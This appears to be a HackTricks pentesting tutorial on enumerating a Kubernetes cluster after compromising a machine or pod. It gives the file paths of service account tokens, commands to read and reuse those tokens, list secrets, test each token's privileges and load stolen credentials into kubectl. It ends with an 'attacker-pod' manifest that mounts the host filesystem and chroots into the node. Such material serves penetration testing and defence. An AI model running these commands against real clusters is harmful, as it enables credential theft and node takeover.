HackTricks
Searchโ€ฆ
๐Ÿ‘ฝ
Network Services Pentesting
Kubernetes Enumeration
Support HackTricks and get benefits!

Kubernetes Tokens

If you have compromised access to a machine the user may have access to some Kubernetes platform. The token is usually located in a file pointed by the env var KUBECONFIG or inside ~/.kube.
In this folder you might find config files with tokens and configurations to connect to the API server. In this folder you can also find a cache folder with information previously retrieved.
If you have compromised a pod inside a kubernetes environment, there are other places where you can find tokens and information about the current K8 env:

Service Account Tokens

Before continuing, if you don't know what is a service in Kubernetes I would suggest you to follow this link and read at least the information about Kubernetes architecture.
Taken from the Kubernetes documentation:
โ€œWhen you create a pod, if you do not specify a service account, it is automatically assigned the default service account in the same namespace.โ€
ServiceAccount is an object managed by Kubernetes and used to provide an identity for processes that run in a pod. Every service account has a secret related to it and this secret contains a bearer token. This is a JSON Web Token (JWT), a method for representing claims securely between two parties.
Usually one of the directories:
  • /run/secrets/kubernetes.io/serviceaccount
  • /var/run/secrets/kubernetes.io/serviceaccount
  • /secrets/kubernetes.io/serviceaccount
contain the files:
  • ca.crt: It's the ca certificate to check kubernetes communications
  • namespace: It indicates the current namespace
  • token: It contains the service token of the current pod.
Now that you have the token, you can find the API server inside the environment variable KUBECONFIG. For more info run (env | set) | grep -i "kuber|kube"
The service account token is being signed by the key residing in the file sa.key and validated by sa.pub.
Default location on Kubernetes:
  • /etc/kubernetes/pki
Default location on Minikube:
  • /var/lib/localkube/certs

Hot Pods

Hot pods are pods containing a privileged service account token. A privileged service account token is a token that has permission to do privileged tasks such as listing secrets, creating pods, etc.

RBAC

If you don't know what is RBAC, read this section.

Enumeration CheatSheet

In order to enumerate a K8s environment you need a couple of this:
  • A valid authentication token. In the previous section we saw where to search for a user token and for a service account token.
  • The address (https://host:port) of the Kubernetes API. This can be usually found in the environment variables and/or in the kube config file.
  • Optional: The ca.crt to verify the API server. This can be found in the same places the token can be found. This is useful to verify the API server certificate, but using --insecure-skip-tls-verify with kubectl or -k with curl you won't need this.
With those details you can enumerate kubernetes. If the API for some reason is accessible through the Internet, you can just download that info and enumerate the platform from your host.
However, usually the API server is inside an internal network, therefore you will need to create a tunnel through the compromised machine to access it from your machine, or you can upload the kubectl binary, or use curl/wget/anything to perform raw HTTP requests to the API server.

Differences between list and get verbs

With get permissions you can access information of specific assets (describe option in kubectl) API:
1
GET /apis/apps/v1/namespaces/{namespace}/deployments/{name}
Copied!
If you have the list permission, you are allowed to execute API requests to list a type of asset (get option in kubectl):
1
#In a namespace
2
GET /apis/apps/v1/namespaces/{namespace}/deployments
3
#In all namespaces
4
GET /apis/apps/v1/deployments
Copied!
If you have the watch permission, you are allowed to execute API requests to monitor assets:
1
GET /apis/apps/v1/deployments?watch=true
2
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments?watch=true
3
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments/{name} [DEPRECATED]
4
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments [DEPRECATED]
5
GET /apis/apps/v1/watch/deployments [DEPRECATED]
Copied!
They open a streaming connection that returns you the full manifest of a Deployment whenever it changes (or when a new one is created).
The following kubectl commands indicates just how to list the objects. If you want to access the data you need to use describe instead of get

Using curl

From inside a pod you can use several env variables:
1
export APISERVER=${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT_HTTPS}
2
export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount
3
export NAMESPACE=$(cat ${SERVICEACCOUNT}/namespace)
4
export TOKEN=$(cat ${SERVICEACCOUNT}/token)
5
export CACERT=${SERVICEACCOUNT}/ca.crt
6
alias kurl="curl --cacert ${CACERT} --header \"Authorization: Bearer ${TOKEN}\""
Copied!

Using kubectl

Having the token and the address of the API server you use kubectl or curl to access it as indicated here:
1
alias k='kubectl --token=$TOKEN --server=$APISERVER --insecure-skip-tls-verify=true'
Copied!
You can find an official kubectl cheatsheet here. The goal of the following sections is to present in ordered manner different options to enumerate and understand the new K8s you have obtained access to.
To find the HTTP request that kubectl sends you can use the parameter -v=8

Current Configuration

Kubectl
1
kubectl config get-users
2
kubectl config get-contexts
3
kubectl config get-clusters
4
kubectl config current-context
5
โ€‹
6
# Change namespace
7
kubectl config set-context --current --namespace=<namespace>
Copied!
If you managed to steal some users credentials you can configure them locally using something like:
1
kubectl config set-credentials USER_NAME \
2
--auth-provider=oidc \
3
--auth-provider-arg=idp-issuer-url=( issuer url ) \
4
--auth-provider-arg=client-id=( your client id ) \
5
--auth-provider-arg=client-secret=( your client secret ) \
6
--auth-provider-arg=refresh-token=( your refresh token ) \
7
--auth-provider-arg=idp-certificate-authority=( path to your ca certificate ) \
8
--auth-provider-arg=id-token=( your id_token )
Copied!

Get Supported Resources

With this info you will know all the services you can list
kubectl
1
k api-resources --namespaced=true #Resources specific to a namespace
2
k api-resources --namespaced=false #Resources NOT specific to a namespace
Copied!

Get Current Privileges

kubectl
API
1
k auth can-i --list #Get privileges in general
2
k auth can-i --list -n custnamespace #Get privileves in custnamespace
3
โ€‹
4
# Get service account permissions
5
k auth can-i --list --as=system:serviceaccount:<namespace>:<sa_name> -n <namespace>
Copied!
1
kurl -i -s -k -X #x27;POST' \
2
-H #x27;Content-Type: application/json' \
3
--data-binary #x27;{\"kind\":\"SelfSubjectRulesReview\",\"apiVersion\":\"authorization.k8s.io/v1\",\"metadata\":{\"creationTimestamp\":null},\"spec\":{\"namespace\":\"default\"},\"status\":{\"resourceRules\":null,\"nonResourceRules\":null,\"incomplete\":false}}\x0a' \
4
"https://$APISERVER/apis/authorization.k8s.io/v1/selfsubjectrulesreviews"
Copied!
You can learn more about Kubernetes RBAC in
Once you know which privileges you have, check the following page to figure out if you can abuse them to escalate privileges:

Get Others roles

kubectl
API
1
k get roles
2
k get clusterroles
Copied!
1
kurl -k -v "https://$APISERVER/apis/authorization.k8s.io/v1/namespaces/eevee/roles?limit=500"
2
kurl -k -v "https://$APISERVER/apis/authorization.k8s.io/v1/namespaces/eevee/clusterroles?limit=500"
Copied!

Get namespaces

Kubernetes supports multiple virtual clusters backed by the same physical cluster. These virtual clusters are called namespaces.
kubectl
API
1
k get namespaces
Copied!
1
kurl -k -v https://$APISERVER/api/v1/namespaces/
Copied!

Get secrets

kubectl
API
1
k get secrets -o yaml
2
k get secrets -o yaml -n custnamespace
Copied!
1
kurl -v https://$APISERVER/api/v1/namespaces/default/secrets/
2
โ€‹
3
curl -v https://$APISERVER/api/v1/namespaces/custnamespace/secrets/
Copied!
If you can read secrets you can use the following lines to get the privileges related to each to token:
1
for token in `k describe secrets -n kube-system | grep "token:" | cut -d " " -f 7`; do echo $token; k --token $token auth can-i --list; echo; done
Copied!

Get Service Accounts

As discussed at the begging of this page when a pod is run a service account is usually assigned to it. Therefore, listing the service accounts, their permissions and where are they running may allow a user to escalate privileges.
kubectl
API
1
k get serviceaccounts
Copied!
1
curl -k -v https://$APISERVER/api/v1/namespaces/{namespace}/serviceaccounts
Copied!

Get Deployments

The deployments specify the components that need to be run.
kubectl
API
1
.k get deployments
2
k get deployments -n custnamespace
Copied!
1
curl -v https://$APISERVER/api/v1/namespaces/<namespace>/deployments/
Copied!

Get Pods

The Pods are the actual containers that will run.
kubectl
API
1
k get pods
2
k get pods -n custnamespace
Copied!
1
curl -v https://$APISERVER/api/v1/namespaces/<namespace>/pods/
Copied!

Get Services

Kubernetes services are used to expose a service in a specific port and IP (which will act as load balancer to the pods that are actually offering the service). This is interesting to know where you can find other services to try to attack.
kubectl
API
1
k get services
2
k get services -n custnamespace
Copied!
1
curl -v https://$APISERVER/api/v1/namespaces/default/services/
Copied!

Get nodes

Get all the nodes configured inside the cluster.
kubectl
API
1
k get nodes
Copied!
1
curl -v https://$APISERVER/api/v1/nodes/
Copied!

Get DaemonSets

DaeamonSets allows to ensure that a specific pod is running in all the nodes of the cluster (or in the ones selected). If you delete the DaemonSet the pods managed by it will be also removed.
kubectl
API
1
k get daemonsets
Copied!
1
curl -v https://$APISERVER/apis/extensions/v1beta1/namespaces/default/daemonsets
Copied!

Get cronjob

Cron jobs allows to schedule using crontab like syntax the launch of a pod that will perform some action.
kubectl
API
1
k get cronjobs
Copied!
1
curl -v https://$APISERVER/apis/batch/v1beta1/namespaces/<namespace>/cronjobs
Copied!

Get "all"

kubectl
1
k get all
Copied!

Get Pods consumptions

kubectl
1
k top pod --all-namespaces
Copied!

Escaping from the pod

If you are able to create new pods you might be able to escape from them to the node. In order to do so you need to create a new pod using a yaml file, switch to the created pod and then chroot into the node's system. You can use already existing pods as reference for the yaml file since they display existing images and pathes.
1
kubectl get pod <name> [-n <namespace>] -o yaml
Copied!
Then you create your attack.yaml file
1
apiVersion: v1
2
kind: Pod
3
metadata:
4
labels:
5
run: attacker-pod
6
name: attacker-pod
7
namespace: default
8
spec:
9
volumes:
10
- name: host-fs
11
hostPath:
12
path: /
13
containers:
14
- image: ubuntu
15
imagePullPolicy: Always
16
name: attacker-pod
17
volumeMounts:
18
- name: host-fs
19
mountPath: /root
20
restartPolicy: Never
Copied!
โ€‹original yaml sourceโ€‹
After that you create the pod
1
kubectl apply -f attacker.yaml [-n <namespace>]
Copied!
Now you can switch to the created pod as follows
1
kubectl exec -it attacker-pod [-n <namespace>] -- bash # attacker-pod is the name defined in the yaml file
Copied!
And finally you chroot into the node's system
1
chroot /root /bin/bash
Copied!

References

Kubernetes Pentest Methodology Part 3
CyberArk
Support HackTricks and get benefits!